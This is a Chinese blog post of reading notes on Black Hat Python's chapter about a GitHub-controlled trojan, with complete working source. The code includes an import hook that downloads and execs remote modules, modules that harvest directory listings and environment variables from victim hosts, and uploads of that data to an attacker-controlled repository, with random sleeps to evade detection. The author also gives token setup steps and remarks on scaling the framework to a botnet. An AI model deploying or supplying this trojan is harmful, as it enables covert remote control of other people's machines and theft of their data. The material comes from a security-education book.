黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第七章 GitHub命令与控制(2)构建基于GitHub的特洛伊木马框架


文章目录

  • 黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第七章 GitHub命令与控制(2)构建基于GitHub的特洛伊木马框架
  • 创建模块
  • 特洛伊木马配置
  • 构建基于GitHub的特洛伊木马
    • 创建跟Git交互的函数
      • 设置access token
    • 构建Trojan类
    • 黑掉python的import功能
    • 创建main主函数
  • 小试牛刀
  • 附上代码
    • git_trojan.py
    • dirlister.py
    • environment.py
    • abc.json

创建模块

在后面的章节中,我们将使用特洛伊木马做一些令人讨厌的事情,例如记录击键和截图。但首先,创建一些简单的模块,以便轻松测试和部署。在modules目录中打开一个新文件,将其命名为dirlister.py,然后输入以下代码:

import osdef run(**args):print("[*] In dirlister module.")files = os.Listdir(".")return str(files)

上面这一小段代码定义了一个run函数,该函数列出当前目录中的所有文件,并将文件列表作为字符串返回。我们开发的每个模块都应该公开一个参数数目可变的run函数,这使我们能够以相同的方式加载每个模块,但仍可以自定义配置文件,以便根据需要向模块传递不同的参数。
现在,我们在名为environment.py的文件(也是在modules目录下)中创建另一个模块:

import osdef run(**args):print("[*] In environment module.")return os.environ

此模块只检索在执行特洛伊木马程序的远程计算机上设置的任何环境变量。
接下来,将此代码推送到GitHub的repo上,以便我们的特洛伊木马可以使用它。从本地repo主目录中运行命令行,输入以下代码:

$ git status
$ git add .
$ git commit -m "Add new modules"
$ git push origin

运行结果如下图所示。

这时候我们应该可以看到代码被推送到GitHub存储库,如下图所示;如果要评估创建的任何模块,请将它们推送到GitHub,然后在本地特洛伊木马版本的配置文件中启用它们。这样,我们就可以可以测试它们,然后允许远程特洛伊木马拾取代码并使用它。

特洛伊木马配置

当我们希望让特洛伊木马执行某些操作时,我们需要一种方法来告诉它要执行哪些操作,以及哪些模块负责执行这些操作。我们可以使用配置文件来提供这种级别的控制。配置文件还使我们能够根据自己的选择有效地将特洛伊木马程序置于休眠状态(不给它任何任务)。为了能够正常工作,我们部署的每个特洛伊木马程序都应该有一个唯一的ID。这样,您就可以根据这些ID对任何检索到的数据进行分析,并控制哪些木马程序执行哪些些任务。
接下来我们将配置特洛伊木马程序,以便程序能够在配置目录中查找TROJANID.json,它将返回一个简单的json文档,json文档可以转换为Python字典,然后使用该字典通知木马程序要执行哪些任务。另外,使用JSON格式也会使得更改配置选项变得非常容易。进入config目录,并创建一个名为abc.json的文件,在其中输入一下内容:

[{"module": "dirlister"},{"module": "environment"}
]

这只是远程特洛伊木马应当运行的模块的简单列表,稍后我们会看到如何阅读这个JSON文档,然后迭代每个选项以加载这些模块。
在头脑风暴关于可以执行的模块的想法时,我们会发现包含其他配置选项是很有用的,例如执行持续时间、运行模块的次数或传递给模块的参数。另外我们还可以添加多种过滤数据的方法,这在第9章中会有所涉及。
参照前一节的方法,将新添加的配置文件推送到github,这里不再赘述。现在我们有了配置文件和一些简单的模块要运行,接下来我们开始构建特洛伊木马的主程序。

构建基于GitHub的特洛伊木马

特洛伊木马的程序将检索要从GitHub运行的配置选项和代码。首先从编写连接和验证GitHub API的函数开始,然后跟GitHub通信。创建并打开名为git_trojan.py的新文件,并输入以下内容

import base64
import github3
import importlib
import json
import random
import sys
import threading
import timefrom datetime import datetime

上面的代码主要是包含了必要的导入,这在编译时可以使木马程序的总体大小相对较小。我们之所以说“相对”,是因为大多数使用pyinstaller编译的Python二进制文件大约为7MB。我们将把这个二进制文件放到受损害的主机上。
如果我们想利用这项技术构建一个完整的僵尸网络(一个由许多这样的被植入木马的机器组成的网络),则会希望能够自动生成特洛伊木马,设置其ID,创建一个推送到GitHub的配置文件,并将特洛伊木马编译成可执行文件。这里我们不会构建僵尸网络;大家可以用自己的想象力来完成这项工作。

创建跟Git交互的函数

现在将相关的GitHub代码补充到位:

def github_connect():with open('mytoken.txt') as f:token = f.read()user = 'AltaiWolf'sess = github3.login(token=token)return sess.repository(user, 'bhptrojan')def get_file_contents(dirname, module_name, repo):return repo.file_contents(f'{dirname}/{module_name}').content

这两个函数处理与GitHub的交互。github_connect函数读取在github上创建的令牌,创建令牌时将其写入了名为mytoken.txt的文件。

设置access token

原书并没有说明mytoken.txt中的内容是如何创建的,对于一些GitHub新手来说可能还真不知道如何下手,这里详细描述一下。
登录GitHub后,在右上角用户头像的下拉菜单中选择“Settings/”,如下图。

然后,在打开的页面的左下角点击“Developer settings”菜单,如下图。

然后在Developer Settings页面选择“Personal access tokens/Tokens(classic)”,如下图。

然后在右上角点击“Generate new token/Generate new token (classic)”,如下图。

在打开的页面中输入token的名称,勾选相关的选项,然后点击底部的Generate就可以了,这时候会生成一串token字符,如下图所示,这就是要保存在mytoken.txt中的内容。

现在,我们从该文件读取令牌并返回到GitHub的连接。实际操作中我们可能希望为不同的特洛伊木马创建不同的令牌,以便控制每个特洛伊木马可以在存储库中访问的内容。这样,当守方抓到我们的特洛伊木马程序时,也无法删除我们检索到的所有数据。
get_file_contents函数接收目录名、模块名和存储库连接,并返回指定模块的内容。该函数负责从远程存储库获取程序文件并在受害主机本地读取内容。我们将使用这个函数来读取配置选项和模块的源代码。

构建Trojan类

接下来,创建一个执行基本特洛伊木马任务的Trojan类:

class Trojan:def __init__(self, id):self.id = idself.config_file = f'{id}.json'self.data_path = f'data/{id}/'self.repo = github_connect()

初始化特洛伊木马对象时,我们会指定其配置信息和特洛伊木程序写入其输出文件的数据路径,并连接到存储库。现在,我们将添加与之通信所需的方法:

    def get_config(self):config_json = get_file_contents('config', self.config_file, self.repo)config = json.loads(base64.b64decode(config_json))for task in config:if task['module'] not in sys.modules:exec("import %s" % task['module'])return configdef module_runner(self, module):result = sys.modules[module].run()self.store_module_result(result)def store_module_result(self, data):message = datetime.now().isoformat()remote_path = f'data/{self.id}/{message}.data'bindata = bytes('%r' % data, 'utf-8')self.repo.create_file(remote_path, message, base64.b64encode(bindata))def run(self):while True:config = self.get_config()for task in config:thread = threading.Thread(target=self.module_runner, args=(task['module'],))thread.start()time.sleep(random.randint(1, 10))time.sleep(random.randint(30*60, 3*60*60))

get_config方法从repo检索远程配置文档,以便特洛伊木马知道要运行哪些模块。Exec将检索到的模块内容引入特洛伊木马对象。module_runner方法调用刚刚导入的模块的run函数(下一节将会详细介绍如何调用它),store_module_result方法创建一个文件,其名称包含当前日期和时间,然后将其输出保存到该文件中。特洛伊木马程序将使用这三种方法将从目标计算机收集的任何数据推送到GitHub。
在run方法中,我们开始执行这些任务。第一步是从repo中获取配置文件,然后我们在自己的线程中启动模块。而在module_runner方法中,我们调用模块的run函数来运行其代码,当运行完成时它应该输出一个字符串,然后我们将输出的字符串push到我们的repo中。
特洛伊木马程序完成任务后,会随机休眠一段时间,以试图阻止任何网络模式分析。当然,我们可以为google.com创造大量流量,或任何其他看似良性的站点,以便掩盖我们的特洛伊木马的真正意图。
接下来,我们创建一个python import的hacker来从GitHub的repo导入远程文件。

黑掉python的import功能

既然已经进行到了这里,我们就会知道可以使用Python的import功能将外部库复制到我们的程序中,以便我们可以调用这些库的代码,我们希望我们的特洛伊木马能够做同样的事情。由于我们正在控制一台远程机器,我们希望使用该机器上没有的软件包,并且没有简单的方法可以远程安装这种软件包。除此之外,我们还希望确保如果我们引入一个依赖项,例如Scapy,我们的特洛伊木马程序会使我们拉入的所有其它模块都可以使用该模块。
Python允许我们定制导入模块的方式;如果无法在本地找到模块,它将调用我们定义的导入类,这将允许我们从repo远程检索库。我们必须将自定义类添加到sys.meta_path列表中。现在,我们通过添加以下代码来创建这个类:

class GitImporter:def __init__(self):self.current_module_code = ''def find_module(self, name, path=None):print("[*] Attempting to retrive %s" % name)self.repo = github_connect()new_library = get_file_contents('modules', f'{name}.py', self.repo)if new_library is not None:self.current_module_code = base64.b64decode(new_library)return selfdef load_module(self, name):spec = importlib.util.spec_from_loader(name, loader=None, origin=self.repo.git_url)new_module = importlib.util.module_from_spec(spec)exec(self.current_module_code, new_module.__dict__)sys.modules[spec.name] = new_modulereturn new_module

每次解释器尝试加载不可用的模块时,都会使用这个GitImporter类。首先find_module方法尝试定位模块,我们将此调用传递给远程文件加载程序。如果我们能在我们的repo中找到该文件,我们将对代码进行base64解码并将其存储在类中。(GitHub将给我们提供base64编码的数据。)通过返回self,我们向Python解释器表明我们找到了模块,它可以调用load_module方法来实际加载它。我们使用本机importlib模块首先创建一个新的空白模块对象,然后将从GitHub检索到的代码放入其中。最后一步是将新创建的模块插入到sys.modules列表中,以便将来任何的import调用都可以使用它。

创建main主函数

现在,我们对特洛伊木马进行最后的润色,然后让它运行一下:

if __name__ == '__main__':sys.meta_path.append(GitImporter())trojan = Trojan('abc')trojan.run()

在__main__块中,我们将GitImporter放入sys.meta_path列表,然后创建特洛伊木马对象并调用它的run方法。现在我们运行它一下!

小试牛刀

我们通过从命令行运行一下前面做出来的成果。
注意:如果在文件或环境变量中有敏感信息,请记住,如果没有专用存储库,这些本地环境中获取的信息将被上传到GitHub以供全世界查看。
然而我在用python运行脚本的时候,碰到了如下的错误,提示header value不合法。

原书网站下载的代码跟我的写法完全一致,将原书代码修改成如下图红线部分所示的内容,问题解决。

但是在接下来的运行中又碰到了新的错误,如下图。

后来定位了一下原因,是因为我的config配置文件中和modules目录下真实的文件名不一致导致的,修改后重新push到git上,再次运行,跟预期的结果一致,如下图。

上述代码完美地连接到了存储库,并检索配置文件,拉入我们在配置文件中设置的两个模块,然后运行它们。
现在,从特洛伊木马目录中运行命令行,并输入以下内容:

令人惊叹的特洛伊木马程序检查了两个正在运行的模块的结果。下图展示了木马程序自动执行并收集受损机器上的执行结果上传到githut的内容。

我们可以对这个核心命令和控制技术进行一些改进和增强:加密所有模块、配置和过滤数据将是一个良好的开端。如果要大规模感染系统,我们还需要自动执行下载数据、更新配置文件和推出新特洛伊木马的过程。随着我们添加越来越多的功能,还需要扩展Python加载动态库和编译库的方式。
现在,让我们来创建一些独立的特洛伊木马任务,我们将把它们集成到新的GitHub特洛伊程序中。

附上代码

git_trojan.py

import base64
import github3
import importlib
import json
import random
import sys
import threading
import timefrom datetime import datetimedef github_connect():with open("mytoken.txt") as f:token = f.read().strip()user = 'AltaiWolf'sess = github3.login(token=token)return sess.repository(user, 'bhptrojan')def get_file_contents(dirname, module_name, repo):return repo.file_contents(f'{dirname}/{module_name}').contentclass GitImporter:def __init__(self):self.current_module_code = ''def find_module(self, name, path=None):print("[*] Attempting to retrive %s" % name)self.repo = github_connect()print(f'self repo is : {self.repo}')print(f'name is : {name}')new_library = get_file_contents('modules', f'{name}.py', self.repo)if new_library is not None:self.current_module_code = base64.b64decode(new_library)return selfdef load_module(self, name):spec = importlib.util.spec_from_loader(name, loader=None, origin=self.repo.git_url)new_module = importlib.util.module_from_spec(spec)exec(self.current_module_code, new_module.__dict__)sys.modules[spec.name] = new_modulereturn new_moduleclass Trojan:def __init__(self, id):self.id = idself.config_file = f'{id}.json'self.data_path = f'data/{id}/'self.repo = github_connect()def get_config(self):config_json = get_file_contents('config', self.config_file, self.repo)config = json.loads(base64.b64decode(config_json))for task in config:if task['module'] not in sys.modules:print(f"task module is : {task['module']}")exec("import %s" % task['module'])return configdef module_runner(self, module):result = sys.modules[module].run()self.store_module_result(result)def store_module_result(self, data):message = datetime.now().isoformat()remote_path = f'data/{self.id}/{message}.data'bindata = bytes('%r' % data, 'utf-8')self.repo.create_file(remote_path, message, base64.b64encode(bindata))def run(self):while True:config = self.get_config()for task in config:thread = threading.Thread(target=self.module_runner, args=(task['module'],))thread.start()time.sleep(random.randint(1, 10))time.sleep(random.randint(30*60, 3*60*60))if __name__ == '__main__':sys.meta_path.append(GitImporter())trojan = Trojan('abc')trojan.run()

dirlister.py

import osdef run(**args):print("[*] In dirlister module.")files = os.listdir(".")return str(files)

environment.py

import osdef run(**args):print("[*] In environment module.")return os.environ

abc.json

[{"module": "dirlister"},{"module": "environment"}
]

黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第七章 GitHub命令与控制(2)构建基于GitHub的特洛伊木马框架相关推荐

  1. 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第01章 语言处理与Python

    第01章 语言处理与Python 1.1 语言计算:文本和单词 Python入门 NLTK 入门 搜索文本 计数词汇 1.2 近观Python:将文本当做词链表 链表(list,也叫列表) 索引列表 ...

  2. 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第10章 分析句子的意思

    第10章 分析句子的意思 10.1 自然语言理解 查询数据库 自然语言.语义和逻辑 10.2 命题逻辑 10.3 一阶逻辑 一阶定理证明 一阶逻辑语言总结 真值模型 独立变量和赋值 量化 量词范围歧义 ...

  3. 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第02章 获得文本语料和词汇资源

    第02章 获得文本语料和词汇资源 2.1 获取文本语料库 古腾堡语料库 网络和聊天文本 布朗语料库 路透社语料库 就职演说语料库 标注文本语料库 在其他语言的语料库 文本语料库的结构 载入你自己的语料 ...

  4. 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第05章 分类和标注词汇

    第05章 分类和标注词汇 5.1 使用词性标注器 5.2 标注语料库 表示已标注的标识 读取已标注的语料库 简化的词性标记集 名词 动词 形容词和副词 未简化的标记 探索已标注的语料库 5.3 使用P ...

  5. 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第03章 加工原料文本

    第03章 加工原料文本 3.1 从网络和硬盘访问文本 电子书 处理的HTML 处理搜索引擎的结果 处理RSS 订阅 读取本地文件 从PDF.MS Word 及其他二进制格式中提取文本 捕获用户输入 N ...

  6. 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第11章 语言数据管理

    第11章 语言数据管理 11.1 语料库结构:一个案例研究 主要设计特点 基本数据类型 11.2 语料库生命周期 语料库创建的三种方案 质量控制 维护与演变 11.3 数据采集 从网上获取数据 从字处 ...

  7. 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第04章 编写结构化程序

    第04章 编写结构化程序 4.1 回到基础 赋值 等式 条件语句 4.2 序列 序列类型上的操作 合并不同类型的序列 产生器表达式 4.3 风格的问题 过程风格与声明风格 计数器的一些合理用途 4.4 ...

  8. 《Python自然语言处理(第二版)-Steven Bird等》学习笔记:第09章 建立基于特征的文法

    第09章 建立基于特征的文法 9.1 文法特征 句法协议 使用属性和约束 术语 9.2 处理特征结构 包含和统一 9.3 扩展基于特征的文法 子类别 核心词回顾 助动词与倒装 无限制依赖成分 9.4 ...

  9. Think in Java第四版 读书笔记3第七章第八章

    第七章复用类 复用代码的方式 1组合 2继承 方式1组合 public class Box {String boxName;public Box(String s) {System.out.print ...

  10. 【Python自然语言处理】读书笔记:第七章:从文本提取信息

    本章原文:https://usyiyi.github.io/nlp-py-2e-zh/7.html notebook 版:https://github.com/JackKuo666/Python_nl ...

最新文章

  1. python--装饰器(附偏函数、断言)
  2. 电脑配置清单_2020年4月最新高性价比电脑配置清单放送,装机不迷路
  3. java function void_Java8中你可能不知道的一些地方之函数式接口实战
  4. 分类信息网站源码_分类信息网站如何增加搜索引收录
  5. javascript练习案例--消失的星星
  6. 用VScode写C/C++,从下载安装到配置使用
  7. C#-Windows计算器
  8. text 热敏打印机_GitHub - huangzhiyi/thermal_printer: Java实现网络小票打印机自定义无驱打印...
  9. 微信会员卡-创建会员卡接口post参数字段说明
  10. 一个公司的开发流程总结
  11. windows 上Miktex的镜像源最新配置方法
  12. STM32如何下载官方固件库
  13. Vue、Nuxt服务端渲染,NodeJS全栈项目,面试小白的博客系统~~
  14. SpringBoot配置过滤器和拦截器
  15. 企业APP营销策略方案
  16. Ubuntu 20.04 安装Azure Kinect SDK和ROS driver以及遇到k4a的报错
  17. TEXT 3 Food firms and fat-fighters
  18. 树莓派USB存储设备自动挂载
  19. png,img等图片格式转化为svg格式
  20. 5款好看实用的网站404页面源码模板

热门文章

  1. [MATLAB]基本介绍
  2. Maven下载及安装教程
  3. 传统人工势场法---经典算法
  4. vb改动microsip让microsip隐藏然后命令拨打电话
  5. centos安装网易云音乐~
  6. 【LKJ】LKJ弧形限速小结
  7. 关于Zxing生成DM二维码变形问题总结
  8. Ubuntu下EEUPDATE工具的使用方法
  9. 3dsmax2020软件安装教程
  10. boost库asio错误码